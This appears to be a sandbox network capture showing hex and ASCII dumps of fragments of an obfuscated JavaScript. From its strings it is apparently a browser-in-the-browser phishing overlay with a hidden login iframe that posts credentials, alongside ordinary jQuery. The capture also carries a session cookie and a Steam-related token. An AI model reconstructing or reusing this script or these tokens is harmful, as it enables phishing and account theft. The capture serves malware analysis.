session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.I56cw5NQULlXZjwao4HXnEBj0QEUstDc.Gb39iixSErBuzV88.azuaYIB6oBpBUVmHEfMcBqr6GM58HAcSRQu8Bb4l8tYUkhJb6sMAHyrxE8Yk9EudLq3n1ViwtiXajA7gr9GyqHp5vvVcv10NRyejGb1H0p_0DFpG95D9xMOC91j9t6LUKgyK0XUgzZPYtIgbe9McM9I0OySWDE4IGKTuK7VPX5xFsb0DVIX4tDksnl_4hW-Ewn2pKied8zmr2P9EhhM2b9f3_B1J9woKtYQZXSqMxQ_6OyOBDnLkXrE.0L8YyKP1VHxFl6GFnhgtFA; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImI5YzU5YjIxZTg0N2ZkMDQwOTEyY2U3MTJhMWE4M2JkIiwic2VydmljZSI6IlN0ZWFtIn0.vdCkSFGEFj8sw52zufWKFnHiFUwW8-VcgM7SxpD4j0M
2024-09-17 17:21:15 UTC	1086	IN	HTTP/1.1 200 OK Date: Tue, 17 Sep 2024 17:21:15 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Last-Modified: Sat, 14 Sep 2024 00:43:11 GMT Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2wv9VuoqJdsY%2B5g56g58t53G5KHqrgAwPAyuMWKFCzWy8Hjd1rTd3P4acPuW7FgADF7n4JEUa9pb389PG6wZq7NCGxpUTpr0cNsU9awYkdT4%2FvnX2tesl4rmArVihzETk3wJrXYcsKOE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c4ac582bb058cb4-EWR alt-svc: h3=":443"; ma=86400
2024-09-17 17:21:15 UTC	283	IN	Data Raw: 37 62 37 32 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 37 35 62 33 28 29 7b 63 6f 6e 73 74 20 5f 30 78 35 39 35 63 39 66 3d 5b 27 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 27 2c 27 64 65 66 61 75 6c 74 27 2c 27 6e 6f 6e 65 27 2c 27 73 74 61 72 74 50 6f 73 69 74 69 6f 6e 27 2c 27 5f 62 6c 61 6e 6b 27 2c 27 70 61 67 65 59 27 2c 27 68 61 6e 64 6c 65 44 72 61 67 53 74 61 72 74 27 2c 27 74 72 61 6e 73 66 6f 72 6d 27 2c 27 54 45 58 54 41 52 45 41 27 2c 27 74 72 61 6e 73 6c 61 74 65 33 64 28 27 2c 27 64 72 61 67 45 6e 64 27 2c 27 36 31 37 38 34 34 4d 57 6a 51 54 4e 27 2c 27 31 30 39 38 44 49 50 4a 69 78 27 2c 27 73 6c 69 63 65 27 2c 27 31 30 30 25 27 2c 27 64 61 74 61 27 2c 27 77 69 6e 64 6f 77 27 2c 27 49 4e 50 55 54 27 2c 27 63 61 74 63 68 27 Data Ascii: 7b72function _0x75b3(){const _0x595c9f=['getElementsByTagName','default','none','startPosition','_blank','pageY','handleDragStart','transform','TEXTAREA','translate3d(','dragEnd','617844MWjQTN','1098DIPJix','slice','100%','data','window','INPUT','catch'
2024-09-17 17:21:15 UTC	1369	IN	Data Raw: 74 65 72 45 76 65 6e 74 27 2c 27 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 27 2c 27 5f 67 65 74 50 6f 73 69 74 69 6f 6e 27 2c 27 70 61 67 65 58 27 2c 27 73 72 63 27 2c 27 69 73 50 72 65 76 65 6e 74 69 6e 67 43 6c 69 63 6b 73 27 2c 27 5c 78 32 37 5c 78 32 30 74 69 74 6c 65 3d 5c 78 32 32 6c 6f 67 69 6e 5c 78 32 32 3e 3c 2f 69 66 72 61 6d 65 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 3c 2f 64 69 76 3e 5c 78 30 61 27 2c 27 69 73 42 6f 72 64 65 72 42 6f 78 27 2c 27 62 6f 64 79 27 2c 27 62 72 69 64 67 65 74 27 2c 27 6e 6f 64 65 4e 61 6d 65 27 2c 27 62 69 6e 64 48 61 6e 64 6c 65 73 27 2c 27 61 78 69 73 27 2c 27 73 74 61 72 74 50 6f 69 6e 74 27 2c 27 64 69 76 27 2c 27 68 61 6e 64 6c 65 44 72 61 67 4d 6f 76 65 27 2c 27 63 61 6c 6c 27 Data Ascii: terEvent','stopPropagation','_getPosition','pageX','src','isPreventingClicks','\x27\x20title=\x22login\x22></iframe>\x0a\x20\x20</div>\x0a</div>\x0a','isBorderBox','body','bridget','nodeName','bindHandles','axis','startPoint','div','handleDragMove','call'
2024-09-17 17:21:15 UTC	1369	IN	Data Raw: 34 35 2e 33 35 34 5c 78 32 30 33 38 34 2e 39 39 37 2c 33 34 38 2e 38 30 39 5c 78 32 30 33 37 32 2e 34 30 30 5c 78 32 30 43 5c 78 32 30 33 35 30 2e 31 36 38 5c 78 32 30 33 36 37 2e 34 34 37 2c 33 35 30 2e 38 33 34 5c 78 32 30 31 39 36 2e 35 36 37 2c 33 34 39 2e 35 34 33 5c 78 32 30 31 38 34 2e 30 37 39 5c 78 32 30 43 5c 78 32 30 33 34 37 2e 33 38 31 5c 78 32 30 31 36 33 2e 31 36 32 2c 33 33 33 2e 31 34 34 5c 78 32 30 31 35 30 2e 38 38 33 2c 33 31 30 2e 30 33 34 5c 78 32 30 31 35 30 2e 30 30 35 5c 78 32 30 43 5c 78 32 30 33 30 35 2e 31 37 35 5c 78 32 30 31 34 39 2e 38 32 31 2c 33 30 30 2e 39 35 39 5c 78 32 30 31 34 39 2e 36 35 34 2c 33 30 30 2e 36 36 34 5c 78 32 30 31 34 39 2e 36 33 35 5c 78 32 30 43 5c 78 32 30 33 30 30 2e 33 36 39 5c 78 32 30 31 34 39 2e Data Ascii: 45.354\x20384.997,348.809\x20372.400\x20C\x20350.168\x20367.447,350.834\x20196.567,349.543\x20184.079\x20C\x20347.381\x20163.162,333.144\x20150.883,310.034\x20150.005\x20C\x20305.175\x20149.821,300.959\x20149.654,300.664\x20149.635\x20C\x20300.369\x20149.
2024-09-17 17:21:15 UTC	1369	IN	Data Raw: 2c 27 70 6f 69 6e 74 65 72 64 6f 77 6e 27 2c 27 70 6f 69 6e 74 65 72 44 6f 77 6e 50 6f 69 6e 74 65 72 27 2c 27 6c 69 6e 6b 27 2c 27 6f 6e 70 6f 69 6e 74 65 72 75 70 27 2c 27 37 31 38 34 33 6f 46 72 65 64 64 27 2c 27 69 6e 6e 65 72 57 69 64 74 68 27 2c 27 73 65 74 41 74 74 72 69 62 75 74 65 27 2c 27 61 70 70 65 6e 64 27 2c 27 69 6e 64 65 78 4f 66 27 2c 27 6d 65 74 61 27 2c 27 2e 6c 6f 61 64 65 72 27 2c 27 63 6f 6e 74 61 69 6e 53 69 7a 65 27 2c 27 6f 6e 74 6f 75 63 68 63 61 6e 63 65 6c 27 2c 27 74 72 69 6d 27 2c 27 69 66 72 61 6d 65 27 2c 27 2f 70 61 67 65 56 69 73 69 74 27 2c 27 63 6c 61 73 73 3d 5c 78 32 32 27 2c 27 74 68 65 6e 27 2c 27 69 6e 6e 65 72 48 54 4d 4c 27 2c 27 70 72 6f 74 6f 74 79 70 65 27 2c 27 61 70 70 65 6e 64 43 68 69 6c 64 27 2c 27 65 6e Data Ascii: ,'pointerdown','pointerDownPointer','link','onpointerup','71843oFredd','innerWidth','setAttribute','append','indexOf','meta','.loader','containSize','ontouchcancel','trim','iframe','/pageVisit','class=\x22','then','innerHTML','prototype','appendChild','en
2024-09-17 17:21:15 UTC	1369	IN	Data Raw: 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6f 70 61 63 69 74 79 3a 5c 78 32 30 31 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 74 72 61 6e 73 66 6f 72 6d 3a 5c 78 32 30 73 63 61 6c 65 28 31 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 7d 5c 78 30 61 5c 78 30 61 2e 77 69 6e 3e 2e 68 65 61 64 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 6c 65 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 5c 78 32 30 63 65 6e 74 65 72 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 5c 78 32 30 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 70 6f 73 69 74 69 6f 6e 3a 5c 78 32 30 72 Data Ascii: {\x0a\x20\x20\x20\x20opacity:\x201;\x0a\x20\x20\x20\x20transform:\x20scale(1);\x0a\x20\x20}\x0a}\x0a\x0a.win>.head\x20{\x0a\x20\x20display:\x20flex;\x0a\x20\x20align-items:\x20center;\x0a\x20\x20justify-content:\x20space-between;\x0a\x20\x20position:\x20r
2024-09-17 17:21:15 UTC	1369	IN	Data Raw: 32 30 5c 78 32 30 6c 65 66 74 3a 5c 78 32 30 30 3b 5c 78 30 61 7d 5c 78 30 61 5c 78 30 61 2e 77 69 6e 3e 2e 68 65 61 64 3e 2e 74 69 74 6c 65 3e 2e 6c 6f 61 64 65 72 3e 2e 63 69 72 63 75 6c 61 72 2d 6c 6f 61 64 65 72 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 61 6e 69 6d 61 74 69 6f 6e 3a 5c 78 32 30 6c 6f 61 64 65 72 52 6f 74 61 74 65 5c 78 32 30 32 73 5c 78 32 30 6c 69 6e 65 61 72 5c 78 32 30 69 6e 66 69 6e 69 74 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 68 65 69 67 68 74 3a 5c 78 32 30 31 30 30 25 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 5c 78 32 30 63 65 6e 74 65 72 5c 78 32 30 63 65 6e 74 65 72 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d Data Ascii: 20\x20left:\x200;\x0a}\x0a\x0a.win>.head>.title>.loader>.circular-loader\x20{\x0a\x20\x20animation:\x20loaderRotate\x202s\x20linear\x20infinite;\x0a\x20\x20height:\x20100%;\x0a\x20\x20-webkit-transform-origin:\x20center\x20center;\x0a\x20\x20-ms-transform
2024-09-17 17:21:15 UTC	1369	IN	Data Raw: 69 72 73 74 2d 63 68 69 6c 64 3a 3a 62 65 66 6f 72 65 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 63 6f 6e 74 65 6e 74 3a 5c 78 32 30 5c 78 32 32 ee 9c b8 5c 78 32 32 3b 5c 78 30 61 7d 5c 78 30 61 5c 78 30 61 2e 77 69 6e 3e 2e 68 65 61 64 3e 2e 62 75 74 74 6f 6e 73 3e 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 3a 3a 62 65 66 6f 72 65 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 63 6f 6e 74 65 6e 74 3a 5c 78 32 30 5c 78 32 32 ee a4 a2 5c 78 32 32 3b 5c 78 30 61 7d 5c 78 30 61 5c 78 30 61 2e 77 69 6e 3e 2e 68 65 61 64 3e 2e 62 75 74 74 6f 6e 73 3e 64 69 76 3a 6c 61 73 74 2d 63 68 69 6c 64 3a 3a 62 65 66 6f 72 65 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 63 6f 6e 74 65 6e 74 3a 5c 78 32 30 5c 78 32 32 ee 9c 91 5c 78 32 32 3b 5c 78 Data Ascii: irst-child::before\x20{\x0a\x20\x20content:\x20\x22\x22;\x0a}\x0a\x0a.win>.head>.buttons>div:nth-child(2)::before\x20{\x0a\x20\x20content:\x20\x22\x22;\x0a}\x0a\x0a.win>.head>.buttons>div:last-child::before\x20{\x0a\x20\x20content:\x20\x22\x22;\x
2024-09-17 17:21:15 UTC	1369	IN	Data Raw: 61 5c 78 30 61 2e 77 69 6e 3e 2e 63 6f 6e 74 65 6e 74 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 62 6f 72 64 65 72 2d 74 6f 70 3a 5c 78 32 30 31 70 78 5c 78 32 30 73 6f 6c 69 64 5c 78 32 30 23 36 30 36 31 36 34 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 70 6f 73 69 74 69 6f 6e 3a 5c 78 32 30 72 65 6c 61 74 69 76 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 68 65 69 67 68 74 3a 5c 78 32 30 31 30 30 25 5c 78 32 30 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 77 69 64 74 68 3a 5c 78 32 30 31 30 30 25 5c 78 32 30 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 78 30 61 7d 5c 78 30 61 5c 78 30 61 2e 77 69 6e 3e 2e 63 6f 6e 74 65 6e 74 5c 78 32 30 69 66 72 61 6d 65 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 6f 75 74 6c 69 6e 65 3a 5c 78 32 Data Ascii: a\x0a.win>.content\x20{\x0a\x20\x20border-top:\x201px\x20solid\x20#606164;\x0a\x20\x20position:\x20relative;\x0a\x20\x20height:\x20100%\x20!important;\x0a\x20\x20width:\x20100%\x20!important;\x0a}\x0a\x0a.win>.content\x20iframe\x20{\x0a\x20\x20outline:\x2
2024-09-17 17:21:15 UTC	1369	IN	Data Raw: 78 32 30 5c 78 32 30 5c 78 32 30 68 65 69 67 68 74 3a 5c 78 32 30 31 30 30 25 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 2e 77 69 6e 3e 2e 68 72 65 66 3e 2e 6c 6f 63 6b 3a 68 6f 76 65 72 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 5c 78 32 30 23 33 35 33 36 33 61 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 30 61 5c 78 32 30 5c 78 32 30 2e 77 69 6e 3e 2e 68 72 65 66 3a 68 6f 76 65 72 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 5c 78 32 30 72 67 62 61 28 35 33 2c 5c 78 32 30 35 34 2c 5c 78 32 30 35 38 2c 5c 78 32 30 30 2e 33 29 3b 5c Data Ascii: x20\x20\x20height:\x20100%;\x0a\x20\x20}\x0a\x0a\x20\x20.win>.href>.lock:hover\x20{\x0a\x20\x20\x20\x20background-color:\x20#35363a;\x0a\x20\x20}\x0a\x0a\x20\x20.win>.href:hover\x20{\x0a\x20\x20\x20\x20background-color:\x20rgba(53,\x2054,\x2058,\x200.3);\
2024-09-17 17:21:15 UTC	1369	IN	Data Raw: 69 72 65 66 6f 78 3e 2e 68 72 65 66 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 5c 78 32 30 23 31 43 31 42 32 32 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 7d 5c 78 30 61 27 2c 27 63 6c 6f 73 65 64 27 2c 27 31 33 33 35 35 30 4a 6b 47 42 58 73 27 2c 27 66 72 61 6d 65 62 6f 72 64 65 72 27 2c 27 24 65 6c 65 6d 65 6e 74 27 2c 27 67 65 74 41 74 74 72 69 62 75 74 65 27 2c 27 43 75 72 72 65 6e 74 57 69 6e 64 6f 77 27 2c 27 70 6f 69 6e 74 65 72 4d 6f 76 65 27 2c 27 68 74 74 70 27 2c 27 61 75 74 68 27 2c 27 77 69 74 68 50 6f 69 6e 74 65 72 27 2c 27 5f 6f 6e 63 65 45 76 65 6e 74 73 27 2c 27 50 4f 53 54 27 2c 27 63 68 61 6e 67 65 64 54 6f 75 63 68 65 73 27 2c 27 74 79 70 65 Data Ascii: irefox>.href\x20{\x0a\x20\x20\x20\x20background-color:\x20#1C1B22;\x0a\x20\x20}\x0a}\x0a','closed','133550JkGBXs','frameborder','$element','getAttribute','CurrentWindow','pointerMove','http','auth','withPointer','_onceEvents','POST','changedTouches','type

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:21:14 UTC	520	OUT	GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-17 17:21:14 UTC	955	IN	HTTP/1.1 200 OK Date: Tue, 17 Sep 2024 17:21:14 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-15851" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 325784 Expires: Sun, 07 Sep 2025 17:21:14 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z7LIl76VFp6pehKJO5eQwuk4CYouwVE5dPyd0d1Hkug3ElZJKjCwdWcv5c66EKtJesln9FQEMkiQG58XP5taYt%2BTsdUc9etMUWD7ySehCiCKmPEgHZZ58h5TU0jf5w24mSr7vEDa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8c4ac582d9778c35-EWR alt-svc: h3=":443"; ma=86400
2024-09-17 17:21:14 UTC	414	IN	Data Raw: 37 62 66 35 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 7bf5/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-09-17 17:21:14 UTC	1369	IN	Data Raw: 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 63 6f 6e 63 61 74 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 65 3d 3d 3d 65 2e 77 69 6e 64 6f 77 7d 2c 63 3d 7b 74 79 70 65 3a 21 30 2c 73 Data Ascii: etPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,s
2024-09-17 17:21:14 UTC	1369	IN	Data Raw: 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 75 2c 73 6f 72 74 3a 74 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 74 2e 73 70 6c 69 63 65 7d 2c 6b 2e 65 78 74 65 6e 64 3d 6b 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 73 3d 31 2c 75 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6c 3d 21 31 3b 66 6f 72 28 22 Data Ascii: +e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},k.extend=k.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("
2024-09-17 17:21:14 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 65 2e 6c 65 6e 67 74 68 2c 61 3d 21 6e 3b 69 3c 6f 3b 69 2b 2b 29 21 74 28 65 5b 69 5d 2c 69 29 21 3d 3d 61 26 26 72 2e 70 75 73 68 28 65 5b 69 5d 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 Data Ascii: turn null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i
2024-09-17 17:21:14 UTC	1369	IN	Data Raw: 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 2c 22 2b 4d 2b 22 2a 22 29 2c 7a 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 28 5b 3e 2b 7e 5d 7c 22 2b 4d 2b 22 29 22 2b 4d 2b 22 2a 22 29 2c 55 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 7c 3e 22 29 2c 58 3d 6e 65 77 20 52 65 67 45 78 70 28 24 29 2c 56 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 49 2b 22 24 22 29 2c 47 3d 7b 49 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 23 28 22 2b 49 2b 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 Data Ascii: Exp(M+"+","g"),B=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=new RegExp("^"+M+","+M+""),z=new RegExp("^"+M+"([>+~]\|"+M+")"+M+"*"),U=new RegExp(M+"\|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegE
2024-09-17 17:21:14 UTC	1369	IN	Data Raw: 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 6c 6c 28 74 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 6c 65 6e 67 74 68 2c 72 3d 30 3b 77 68 69 6c 65 28 65 5b 6e 2b 2b 5d 3d 74 5b 72 2b 2b 5d 29 3b 65 2e 6c 65 6e 67 74 68 3d 6e 2d 31 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 65 28 74 2c 65 2c 6e 2c 72 29 7b 76 61 72 20 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 2c 66 3d 65 26 26 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2c 70 3d 65 3f 65 2e 6e 6f 64 65 54 79 70 65 3a 39 3b 69 66 28 6e 3d 6e 7c 7c 5b 5d 2c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 21 Data Ascii: gth].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n\|\|[],"string"!=typeof t\|\|!
2024-09-17 17:21:14 UTC	1369	IN	Data Raw: 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 72 2d 2d 29 62 2e 61 74 74 72 48 61 6e 64 6c 65 5b 6e 5b 72 5d 5d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 26 26 65 2c 72 3d 6e 26 26 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 3d 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 26 26 65 2e 73 6f 75 72 63 65 49 6e 64 65 78 2d 74 2e 73 6f 75 72 63 65 49 6e 64 65 78 